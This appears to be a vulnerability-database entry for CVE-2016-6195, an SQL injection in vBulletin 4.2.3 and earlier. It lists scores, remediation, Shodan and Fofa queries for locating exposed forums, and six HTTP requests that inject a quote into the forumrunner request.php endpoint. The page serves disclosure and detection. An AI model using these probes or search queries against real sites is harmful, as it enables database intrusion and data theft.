🔙 목록으로 돌아가기

CVE-2016-6195: vBulletin <= 4.2.3 - SQL Injection

TitlevBulletin <= 4.2.3 - SQL Injection
AuthorMaStErChO
SeverityCritical
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system.
RemediationUpgrade to a patched version of vBulletin (4.2.4 or later) or apply the official patch provided by the vendor.
CVSS Score9.8
EPSS Score0.8643
CVE IDCVE-2016-6195
CWE IDCWE-89
Shodan Querytitle:"Powered By vBulletin"http.html:"powered by vbulletin"http.component:"vbulletin"http.title:"powered by vbulletin"cpe:"cpe:2.3:a:vbulletin:vbulletin"
Fofa Querybody="powered by vbulletin"title="powered by vbulletin"
Tags cve2016 cve vbulletin sqli forum edb vkev vuln

🔍 Vulnerability Description

vBulletin versions 3.6.0 through 4.2.3 are vulnerable to an SQL injection vulnerability in the vBulletin core forumrunner addon. The vulnerability allows an attacker to execute arbitrary SQL queries and potentially access sensitive information from the database.

🌐 HTTP Request

GET /forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /boards/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Edge/117.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /board/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /forum/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /forums/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /vb/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2016/CVE-2016-6195.yaml

🦈 Packet Capture: ⬇️ Download cve-2016-6195.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A